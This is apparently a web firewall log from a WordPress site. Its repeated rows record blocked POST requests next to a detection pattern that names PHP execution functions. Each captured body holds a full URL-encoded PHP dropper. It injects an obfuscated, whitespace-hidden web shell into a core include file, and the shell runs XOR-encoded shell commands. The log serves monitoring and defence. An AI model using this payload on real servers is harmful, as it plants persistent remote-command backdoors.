\/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5251\n\nOv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:18","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5251\n\nGV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:19","69.167.165.138","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5251\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\ncq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:25","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%